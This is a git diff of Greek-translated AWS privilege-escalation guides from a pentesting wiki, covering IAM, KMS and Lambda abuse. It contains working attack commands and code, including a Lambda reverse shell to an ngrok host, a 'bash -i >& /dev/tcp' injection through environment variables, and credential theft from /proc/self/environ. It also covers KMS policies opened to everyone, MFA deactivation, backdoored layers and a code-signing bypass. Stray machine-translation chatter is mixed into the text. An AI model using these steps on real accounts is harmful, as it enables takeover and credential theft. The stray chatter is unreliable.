{ +"AWS": "$USER_ARN" +} +} +] +} +``` +**Impact:** Άμεση κλιμάκωση προνομίων με την ανάληψη των δικαιωμάτων οποιουδήποτε ρόλου. + +### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** + +Επιτρέπει την αποστολή δημόσιου κλειδιού SSH για αυθεντικοποίηση στο CodeCommit και την απενεργοποίηση συσκευών MFA, οδηγώντας σε πιθανή έμμεση κλιμάκωση προνομίων. + +**Exploit for SSH Key Upload:** +```bash +aws iam upload-ssh-public-key --user-name --ssh-public-key-body +``` +**Exploit για την απενεργοποίηση του MFA:** +```bash +aws iam deactivate-mfa-device --user-name --serial-number +``` +**Impact:** Έμμεση κλιμάκωση προνομίων με την ενεργοποίηση πρόσβασης σε CodeCommit ή την απενεργοποίηση της προστασίας MFA. + +### **`iam:ResyncMFADevice`** + +Επιτρέπει τον επανασυγχρονισμό μιας συσκευής MFA, ενδεχομένως οδηγώντας σε έμμεση κλιμάκωση προνομίων μέσω χειρισμού της προστασίας MFA. + +**Εντολή Bash:** +```bash +aws iam resync-mfa-device --user-name --serial-number \ +--authentication-code1 --authentication-code2 +``` +**Επίπτωση:** Έμμεση κλιμάκωση προνομίων με την προσθήκη ή τον χειρισμό συσκευών MFA. + +### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) + +Με αυτά τα δικαιώματα μπορείτε να **αλλάξετε τα XML μεταδεδομένα της SAML σύνδεσης**. Στη συνέχεια, μπορείτε να καταχραστείτε τη **SAML federation** για να **login** με οποιοδήποτε **role που την εμπιστεύεται**. + +Σημειώστε ότι κάνοντας αυτό **legit users won't be able to login**. Ωστόσο, μπορείτε να αποκτήσετε το XML, να το αντικαταστήσετε με το δικό σας, να κάνετε login και να επαναφέρετε τα προηγούμενα. +```bash +# List SAMLs +aws iam list-saml-providers + +# Optional: Get SAML provider XML +aws iam get-saml-provider --saml-provider-arn + +# Update SAML provider +aws iam update-saml-provider --saml-metadata-document --saml-provider-arn + +## Login impersonating roles that trust the SAML provider + +# Optional: Set the previous XML back +aws iam update-saml-provider --saml-metadata-document --saml-provider-arn +``` +> [!NOTE] +> TODO: Ένα εργαλείο ικανό να δημιουργεί το SAML metadata και να κάνει login με ένα συγκεκριμένο role + +### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) + +(Δεν είμαι σίγουρος για αυτό) Εάν ένας επιτιθέμενος έχει αυτές τις **permissions**, μπορεί να προσθέσει ένα νέο **Thumbprint** και να καταφέρει να κάνει login σε όλους τους roles που εμπιστεύονται τον provider. +```bash +# List providers +aws iam list-open-id-connect-providers +# Optional: Get Thumbprints used to not delete them +aws iam get-open-id-connect-provider --open-id-connect-provider-arn +# Update Thumbprints (The thumbprint is always a 40-character string) +aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 +``` +### `iam:PutUserPermissionsBoundary` + +Αυτό το permissions επιτρέπει σε έναν attacker να ενημερώσει το permissions boundary ενός user, ενδεχομένως escalating τα privileges του, επιτρέποντάς του να πραγματοποιήσει actions που κανονικά περιορίζονται από τα existing permissions του. + +## Αναφορές + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md deleted file mode 100644 index d0d66c962..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ /dev/null @@ -1,110 +0,0 @@ -# AWS - KMS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## KMS - -Για περισσότερες πληροφορίες σχετικά με το KMS, ελέγξτε: - -{{#ref}} -../aws-services/aws-kms-enum.md -{{#endref}} - -### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) - -Με αυτές τις άδειες είναι δυνατόν να **τροποποιήσετε τις άδειες πρόσβασης στο κλειδί** ώστε να μπορεί να χρησιμοποιηθεί από άλλους λογαριασμούς ή ακόμα και από οποιονδήποτε: -```bash -aws kms list-keys -aws kms list-key-policies --key-id # Although only 1 max per key -aws kms get-key-policy --key-id --policy-name -# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default") -aws kms put-key-policy --key-id --policy-name --policy file:///tmp/policy.json -``` -policy.json: -```json -{ -"Version": "2012-10-17", -"Id": "key-consolepolicy-3", -"Statement": [ -{ -"Sid": "Enable IAM User Permissions", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::root" -}, -"Action": "kms:*", -"Resource": "*" -}, -{ -"Sid": "Allow all use", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::root" -}, -"Action": ["kms:*"], -"Resource": "*" -} -] -} -``` -### `kms:CreateGrant` - -Επιτρέπει σε έναν κύριο να χρησιμοποιήσει ένα KMS κλειδί: -```bash -aws kms create-grant \ ---key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ ---grantee-principal arn:aws:iam::123456789012:user/exampleUser \ ---operations Decrypt -``` -> [!WARNING] -> Μια χορήγηση μπορεί να επιτρέπει μόνο ορισμένους τύπους λειτουργιών: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - -> [!WARNING] -> Σημειώστε ότι μπορεί να χρειαστούν μερικά λεπτά για να **επιτραπεί στον χρήστη να χρησιμοποιήσει το κλειδί μετά την δημιουργία της χορήγησης**. Μόλις περάσει αυτός ο χρόνος, ο κύριος μπορεί να χρησιμοποιήσει το κλειδί KMS χωρίς να χρειάζεται να καθορίσει οτιδήποτε.\ -> Ωστόσο, αν χρειάζεται να χρησιμοποιηθεί η χορήγηση αμέσως [χρησιμοποιήστε ένα token χορήγησης](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (ελέγξτε τον παρακάτω κώδικα).\ -> Για [**περισσότερες πληροφορίες διαβάστε αυτό**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). -```bash -# Use the grant token in a request -aws kms generate-data-key \ ---key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ -–-key-spec AES_256 \ ---grant-tokens $token -``` -Σημειώστε ότι είναι δυνατόν να καταγράψετε τις παραχωρήσεις κλειδιών με: -```bash -aws kms list-grants --key-id -``` -### `kms:CreateKey`, `kms:ReplicateKey` - -Με αυτές τις άδειες είναι δυνατή η αναπαραγωγή ενός KMS κλειδιού που είναι ενεργοποιημένο για πολλαπλές περιοχές σε μια διαφορετική περιοχή με διαφορετική πολιτική. - -Έτσι, ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να αποκτήσει privesc την πρόσβασή του στο κλειδί και να το χρησιμοποιήσει. -```bash -aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml - -{ -"Version": "2012-10-17", -"Id": "key-consolepolicy-3", -"Statement": [ -{ -"Sid": "Enable IAM User Permissions", -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": "kms:*", -"Resource": "*" -} -] -} -``` -### `kms:Decrypt` - -Αυτή η άδεια επιτρέπει τη χρήση ενός κλειδιού για την αποκρυπτογράφηση κάποιων πληροφοριών.\ -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-post-exploitation/aws-kms-post-exploitation.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md new file mode 100644 index 000000000..00a704a04 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md @@ -0,0 +1,110 @@ +# AWS - KMS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## KMS + +Για περισσότερες πληροφορίες σχετικά με το KMS δείτε: + +{{#ref}} +../../aws-services/aws-kms-enum.md +{{#endref}} + +### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) + +Με αυτά τα δικαιώματα είναι δυνατόν να **τροποποιήσετε τα δικαιώματα πρόσβασης στο κλειδί** ώστε να μπορεί να χρησιμοποιηθεί από άλλους λογαριασμούς ή ακόμα και από οποιονδήποτε: +```bash +aws kms list-keys +aws kms list-key-policies --key-id # Although only 1 max per key +aws kms get-key-policy --key-id --policy-name +# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default") +aws kms put-key-policy --key-id --policy-name --policy file:///tmp/policy.json +``` +Μπορείς να επικολλήσεις το περιεχόμενο του policy.json ή το τμήμα του README.md που θέλεις να μεταφράσω; Χρειάζομαι το κείμενο για να το μεταφράσω και θα διατηρήσω τη μορφοποίηση Markdown/HTML. +```json +{ +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow all use", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": ["kms:*"], +"Resource": "*" +} +] +} +``` +### `kms:CreateGrant` + +Αυτό **επιτρέπει σε έναν principal να χρησιμοποιήσει ένα KMS key:** +```bash +aws kms create-grant \ +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +--grantee-principal arn:aws:iam::123456789012:user/exampleUser \ +--operations Decrypt +``` +> [!WARNING] +> Ένα grant μπορεί να επιτρέψει μόνο συγκεκριμένους τύπους λειτουργιών: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) + +> [!WARNING] +> Σημειώστε ότι μπορεί να χρειαστούν μερικά λεπτά για το KMS ώστε να **επιτρέψει στον χρήστη να χρησιμοποιήσει το κλειδί μετά τη δημιουργία του grant**. Μόλις περάσει αυτός ο χρόνος, ο principal μπορεί να χρησιμοποιήσει το KMS key χωρίς να χρειάζεται να καθορίσει τίποτα.\ +> Ωστόσο, αν χρειάζεται να χρησιμοποιήσετε το grant αμέσως [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (ελέγξτε τον παρακάτω κώδικα).\ +> Για [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). +```bash +# Use the grant token in a request +aws kms generate-data-key \ +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +–-key-spec AES_256 \ +--grant-tokens $token +``` +Σημειώστε ότι μπορείτε να απαριθμήσετε grants των keys με: +```bash +aws kms list-grants --key-id +``` +### `kms:CreateKey`, `kms:ReplicateKey` + +Με αυτά τα δικαιώματα, είναι δυνατό να αναπαραχθεί ένα multi-region enabled KMS key σε άλλη περιοχή με διαφορετική πολιτική. + +Έτσι, ένας attacker θα μπορούσε να εκμεταλλευτεί αυτό για να αποκτήσει privesc πρόσβαση στο key και να το χρησιμοποιήσει +```bash +aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml + +{ +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "kms:*", +"Resource": "*" +} +] +} +``` +### `kms:Decrypt` + +Αυτή η άδεια επιτρέπει τη χρήση ενός key για την αποκρυπτογράφηση ορισμένων πληροφοριών.\ +Για περισσότερες πληροφορίες, δείτε: + +{{#ref}} +../../aws-post-exploitation/aws-kms-post-exploitation/README.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md deleted file mode 100644 index 3b52113cc..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ /dev/null @@ -1,317 +0,0 @@ -# AWS - Lambda Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## lambda - -Περισσότερες πληροφορίες για το lambda στο: - -{{#ref}} -../aws-services/aws-lambda-enum.md -{{#endref}} - -### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) - -Χρήστες με τα **`iam:PassRole`, `lambda:CreateFunction`, και `lambda:InvokeFunction`** δικαιώματα μπορούν να αναβαθμίσουν τα προνόμιά τους.\ -Μπορούν να **δημιουργήσουν μια νέα Lambda function και να της αναθέσουν ένα υπάρχον IAM role**, παραχωρώντας στη function τα δικαιώματα που συνδέονται με εκείνο τον ρόλο. Ο χρήστης μπορεί στη συνέχεια να **γράψει και να ανεβάσει κώδικα σε αυτή τη Lambda function (π.χ. με ένα rev shell)**.\ -Μόλις η function ρυθμιστεί, ο χρήστης μπορεί να **ενεργοποιήσει την εκτέλεσή της** και τις επιθυμητές ενέργειες καλώντας τη Lambda function μέσω του AWS API. Αυτή η προσέγγιση επιτρέπει ουσιαστικά στον χρήστη να εκτελεί εργασίες έμμεσα μέσω της Lambda function, λειτουργώντας με το επίπεδο πρόσβασης που έχει παραχωρηθεί στο αντίστοιχο IAM role.\\ - -Ένας επιτιθέμενος θα μπορούσε να καταχραστεί αυτό για να αποκτήσει ένα **rev shell και να κλέψει το token**: -```python:rev.py -import socket,subprocess,os,time -def lambda_handler(event, context): -s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); -s.connect(('4.tcp.ngrok.io',14305)) -os.dup2(s.fileno(),0) -os.dup2(s.fileno(),1) -os.dup2(s.fileno(),2) -p=subprocess.call(['/bin/sh','-i']) -time.sleep(900) -return 0 -``` - -```bash -# Zip the rev shell -zip "rev.zip" "rev.py" - -# Create the function -aws lambda create-function --function-name my_function \ ---runtime python3.9 --role \ ---handler rev.lambda_handler --zip-file fileb://rev.zip - -# Invoke the function -aws lambda invoke --function-name my_function output.txt -## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL - -# List roles -aws iam list-attached-user-policies --user-name -``` -Μπορείτε επίσης να **abuse the lambda role permissions** από την ίδια τη lambda function.\ -Αν ο lambda role είχε αρκετά permissions, θα μπορούσατε να το χρησιμοποιήσετε για να χορηγήσετε admin rights σε εσάς: -```python -import boto3 -def lambda_handler(event, context): -client = boto3.client('iam') -response = client.attach_user_policy( -UserName='my_username', -PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' -) -return response -``` -Επίσης είναι δυνατόν να leak τα διαπιστευτήρια ρόλου του lambda χωρίς να απαιτείται εξωτερική σύνδεση. Αυτό είναι χρήσιμο για **Network isolated Lambdas** που χρησιμοποιούνται σε εσωτερικές εργασίες. Αν υπάρχουν άγνωστα security groups που φιλτράρουν τα reverse shells σας, αυτό το κομμάτι κώδικα θα σας επιτρέψει να leak απευθείας τα διαπιστευτήρια ως έξοδο του lambda. -```python -def handler(event, context): -sessiontoken = open('/proc/self/environ', "r").read() -return { -'statusCode': 200, -'session': str(sessiontoken) -} -``` - -```bash -aws lambda invoke --function-name output.txt -cat output.txt -``` -**Potential Impact:** Άμεσο privesc στο καθορισμένο αυθαίρετο role υπηρεσίας lambda. - -> [!CAUTION] -> Σημειώστε ότι ακόμα κι αν φαίνεται ενδιαφέρον η **`lambda:InvokeAsync`** **ΔΕΝ** επιτρέπει από μόνη της να **εκτελέσετε `aws lambda invoke-async`**, χρειάζεστε επίσης `lambda:InvokeFunction` - -### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` - -Όπως στο προηγούμενο σενάριο, μπορείτε να **χορηγήσετε στον εαυτό σας την άδεια `lambda:InvokeFunction`** αν έχετε την άδεια **`lambda:AddPermission`** -```bash -# Check the previous exploit and use the following line to grant you the invoke permissions -aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ ---action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" -``` -**Πιθανός Αντίκτυπος:** Άμεση privesc στο αυθαίρετο lambda service role που ορίστηκε. - -### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` - -Χρήστες με **`iam:PassRole`, `lambda:CreateFunction`, και `lambda:CreateEventSourceMapping`** δικαιώματα (και ενδεχομένως `dynamodb:PutItem` και `dynamodb:CreateTable`) μπορούν έμμεσα να **escalate privileges** ακόμα και χωρίς `lambda:InvokeFunction`.\ -Μπορούν να δημιουργήσουν μια **Lambda function με κακόβουλο κώδικα και να της αναθέσουν ένα υπάρχον IAM role**. - -Αντί να καλεί απευθείας το Lambda, ο χρήστης ρυθμίζει ή χρησιμοποιεί έναν υπάρχοντα πίνακα DynamoDB, συνδέοντάς τον με το Lambda μέσω ενός event source mapping. Αυτή η ρύθμιση διασφαλίζει ότι η Lambda function **θα ενεργοποιηθεί αυτόματα κατά την καταχώρηση ενός νέου αντικειμένου** στον πίνακα, είτε από ενέργεια του χρήστη είτε από άλλη διαδικασία, καλώντας έτσι έμμεσα τη Lambda function και εκτελώντας τον κώδικα με τα δικαιώματα του περασμένου IAM role. -```bash -aws lambda create-function --function-name my_function \ ---runtime python3.8 --role \ ---handler lambda_function.lambda_handler \ ---zip-file fileb://rev.zip -``` -Εάν το DynamoDB είναι ήδη ενεργό στο περιβάλλον AWS, ο χρήστης απλώς **πρέπει να δημιουργήσει το event source mapping** για τη συνάρτηση Lambda. Ωστόσο, αν το DynamoDB δεν χρησιμοποιείται, ο χρήστης πρέπει **να δημιουργήσει έναν νέο πίνακα** με streaming ενεργοποιημένο: -```bash -aws dynamodb create-table --table-name my_table \ ---attribute-definitions AttributeName=Test,AttributeType=S \ ---key-schema AttributeName=Test,KeyType=HASH \ ---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ ---stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES -``` -Τώρα μπορείτε να **συνδέσετε τη λειτουργία Lambda με τον πίνακα DynamoDB** δημιουργώντας **ένα event source mapping**: -```bash -aws lambda create-event-source-mapping --function-name my_function \ ---event-source-arn \ ---enabled --starting-position LATEST -``` -Με τη λειτουργία Lambda συνδεδεμένη με το DynamoDB stream, ο επιτιθέμενος μπορεί **να προκαλέσει έμμεσα τη Lambda ενεργοποιώντας το DynamoDB stream**. Αυτό μπορεί να επιτευχθεί με **την εισαγωγή ενός αντικειμένου** στον πίνακα DynamoDB: -```bash -aws dynamodb put-item --table-name my_table \ ---item Test={S="Random string"} -``` -**Πιθανός αντίκτυπος:** Άμεσο privesc στον καθορισμένο ρόλο υπηρεσίας lambda. - -### `lambda:AddPermission` - -Ένας attacker με αυτό το permission μπορεί να **grant himself (or others) any permissions** (αυτό δημιουργεί resource based policies για να παραχωρήσει πρόσβαση στον πόρο): -```bash -# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) -aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: - -# Invoke the function -aws lambda invoke --function-name /tmp/outout -``` -**Πιθανός αντίκτυπος:** Άμεσο privesc στον lambda service role μέσω της χορήγησης άδειας για τροποποίηση και εκτέλεση του κώδικα. - -### `lambda:AddLayerVersionPermission` - -Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να **χορηγήσει στον εαυτό του (ή σε άλλους) την άδεια `lambda:GetLayerVersion`**. Μπορεί να έχει πρόσβαση στο layer και να αναζητήσει ευπάθειες ή ευαίσθητες πληροφορίες -```bash -# Give everyone the permission lambda:GetLayerVersion -aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion -``` -**Potential Impact:** Δυνατότητα πρόσβασης σε ευαίσθητες πληροφορίες. - -### `lambda:UpdateFunctionCode` - -Οι χρήστες που κατέχουν την άδεια **`lambda:UpdateFunctionCode`** έχουν τη δυνατότητα να **τροποποιήσουν τον κώδικα μιας υπάρχουσας Lambda function που είναι συνδεδεμένη με έναν IAM role.**\ -Ο επιτιθέμενος μπορεί να **τροποποιήσει τον κώδικα του lambda ώστε να exfiltrate τα IAM credentials**. - -Αν και ο επιτιθέμενος μπορεί να μην έχει την άμεση δυνατότητα να καλέσει τη Lambda function, αν η Lambda function υπάρχει ήδη και είναι σε λειτουργία, είναι πιθανό να ενεργοποιηθεί μέσω υπαρχουσών ροών εργασίας ή γεγονότων, διευκολύνοντας έτσι έμμεσα την εκτέλεση του τροποποιημένου κώδικα. -```bash -# The zip should contain the lambda code (trick: Download the current one and add your code there) -aws lambda update-function-code --function-name target_function \ ---zip-file fileb:///my/lambda/code/zipped.zip - -# If you have invoke permissions: -aws lambda invoke --function-name my_function output.txt - -# If not check if it's exposed in any URL or via an API gateway you could access -``` -**Potential Impact:** Άμεση privesc στον lambda service role που χρησιμοποιείται. - -### `lambda:UpdateFunctionConfiguration` - -#### RCE μέσω env variables - -Με αυτά τα permissions είναι δυνατό να προστεθούν environment variables που θα προκαλέσουν το Lambda να εκτελέσει arbitrary code. Για παράδειγμα, σε python είναι δυνατό να κακοποιήσετε τις environment variables `PYTHONWARNING` και `BROWSER` ώστε μια διεργασία python να εκτελέσει arbitrary commands: -```bash -aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" -``` -Για άλλες γλώσσες scripting υπάρχουν άλλες env variables που μπορείτε να χρησιμοποιήσετε. Για περισσότερες πληροφορίες ελέγξτε τις υποενότητες των γλωσσών scripting στο: - -{{#ref}} -https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html -{{#endref}} - -#### RCE μέσω Lambda Layers - -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) επιτρέπει να συμπεριλάβετε **code** στη συνάρτηση Lambda σας αλλά **αποθηκεύοντάς το ξεχωριστά**, έτσι ο κώδικας της συνάρτησης μπορεί να παραμείνει μικρός και **αρκετές συναρτήσεις μπορούν να μοιραστούν code**. - -Μέσα σε Lambda μπορείτε να ελέγξετε τις διαδρομές από τις οποίες φορτώνεται python code με μια συνάρτηση όπως η παρακάτω: -```python -import json -import sys - -def lambda_handler(event, context): -print(json.dumps(sys.path, indent=2)) -``` -These are the places: - -1. /var/task -2. /opt/python/lib/python3.7/site-packages -3. /opt/python -4. /var/runtime -5. /var/lang/lib/python37.zip -6. /var/lang/lib/python3.7 -7. /var/lang/lib/python3.7/lib-dynload -8. /var/lang/lib/python3.7/site-packages -9. /opt/python/lib/python3.7/site-packages -10. /opt/python - -For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position). - -#### Εκμετάλλευση - -Είναι δυνατό να γίνει κατάχρηση της άδειας `lambda:UpdateFunctionConfiguration` για να **προσθέσετε ένα νέο layer** σε μια lambda function. Για να εκτελεστεί αυθαίρετος κώδικας, αυτό το layer πρέπει να περιέχει κάποια **βιβλιοθήκη την οποία η lambda θα εισάγει.** Αν μπορείτε να διαβάσετε τον κώδικα της lambda, θα το βρείτε εύκολα. Σημειώστε επίσης ότι ίσως η lambda **χρησιμοποιεί ήδη ένα layer** και να μπορείτε να **κατεβάσετε** το layer και να **προσθέσετε εκεί τον κώδικά σας**. - -For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library: -```bash -pip3 install -t ./lambda_layer boto3 -``` -Μπορείτε να ανοίξετε το `./lambda_layer/boto3/__init__.py` και **να προσθέσετε το backdoor στον global κώδικα** (π.χ. μια συνάρτηση για exfiltrate credentials ή για να αποκτήσετε ένα reverse shell). - -Στη συνέχεια, συμπιέστε τον κατάλογο `./lambda_layer` και **ανεβάστε το νέο lambda layer** στον δικό σας λογαριασμό (ή σε αυτόν του θύματος, αλλά μπορεί να μην έχετε τα απαραίτητα δικαιώματα).\ -Σημειώστε ότι πρέπει να δημιουργήσετε έναν φάκελο python και να τοποθετήσετε εκεί τις βιβλιοθήκες για να αντικαταστήσετε το /opt/python/boto3. Επίσης, το layer πρέπει να είναι **συμβατό με την έκδοση python** που χρησιμοποιεί το lambda και, αν το ανεβάσετε στον λογαριασμό σας, πρέπει να βρίσκεται στην **ίδια region:** -```bash -aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" -``` -Τώρα, κάντε το ανεβασμένο lambda layer **προσβάσιμο από οποιονδήποτε λογαριασμό**: -```bash -aws lambda add-layer-version-permission --layer-name boto3 \ ---version-number 1 --statement-id public \ ---action lambda:GetLayerVersion --principal * -``` -Και επισυνάψτε το lambda layer στην victim lambda function: -```bash -aws lambda update-function-configuration \ ---function-name \ ---layers arn:aws:lambda:::layer:boto3:1 \ ---timeout 300 #5min for rev shells -``` -Το επόμενο βήμα θα ήταν είτε να **εκτελέσουμε τη function** εμείς αν μπορούμε είτε να περιμένουμε μέχρι να **εκτελεστεί** με κανονικά μέσα — που είναι η ασφαλέστερη μέθοδος. - -Ένας **πιο διακριτικός τρόπος εκμετάλλευσης αυτής της ευπάθειας** μπορεί να βρεθεί στο: - -{{#ref}} -../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md -{{#endref}} - -**Πιθανός αντίκτυπος:** Άμεσο privesc στον ρόλο υπηρεσίας της lambda που χρησιμοποιείται. - -### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` - -Ίσως με αυτά τα δικαιώματα να μπορείς να δημιουργήσεις μια function και να την εκτελέσεις καλώντας το URL... αλλά δεν μπόρεσα να βρω τρόπο να το δοκιμάσω, πές μου αν το κάνεις! - -### Lambda MitM - -Μερικές lambdas θα **λαμβάνουν ευαίσθητες πληροφορίες από τους χρήστες στις παραμέτρους.** Αν πετύχεις RCE σε μία από αυτές, μπορείς να exfiltrate τις πληροφορίες που στέλνουν άλλοι χρήστες σε αυτή — δες το στο: - -{{#ref}} -../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md -{{#endref}} - -## Αναφορές - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) - -{{#include ../../../banners/hacktricks-training.md}} - - - - -### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Παράκαμψη Lambda Code Signing - -Αν μια Lambda function επιβάλλει code signing, ένας επιτιθέμενος που μπορεί είτε να αφαιρέσει το Code Signing Config (CSC) είτε να το υποβαθμίσει σε `WARN` μπορεί να αναπτύξει μη υπογεγραμμένο κώδικα στη function. Αυτό παρακάμπτει τις προστασίες ακεραιότητας χωρίς να τροποποιεί τον IAM ρόλο της function ή τα triggers. - -Permissions (ένα από): -- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` -- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` - -Σημειώσεις: -- Για το Path B, δεν χρειάζεσαι προφίλ AWS Signer αν η πολιτική CSC είναι ρυθμισμένη σε `WARN` (επιτρέπονται μη υπογεγραμμένα artifacts). - -Βήματα (REGION=us-east-1, TARGET_FN=): - -Ετοίμασε ένα μικρό payload: -```bash -cat > handler.py <<'PY' -import os, json -def lambda_handler(event, context): -return {"pwn": True, "env": list(os.environ)[:6]} -PY -zip backdoor.zip handler.py -``` -Διαδρομή A) Αφαίρεση CSC και μετά ενημέρωση του code: -```bash -aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0 -if [ "$HAS_CSC" -eq 1 ]; then -aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION -fi -aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION -# If the handler name changed, also run: -aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION -``` -Διαδρομή B) Υποβάθμιση σε Warn και ενημέρωση του κώδικα (αν η διαγραφή δεν επιτρέπεται): -```bash -CSC_ARN=$(aws lambda create-code-signing-config \ ---description ht-warn-csc \ ---code-signing-policies UntrustedArtifactOnDeployment=WARN \ ---query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION) -aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION -aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION -# If the handler name changed, also run: -aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION -``` -Verified. Θα μεταφράζω το σχετικό αγγλικό κείμενο στα Ελληνικά 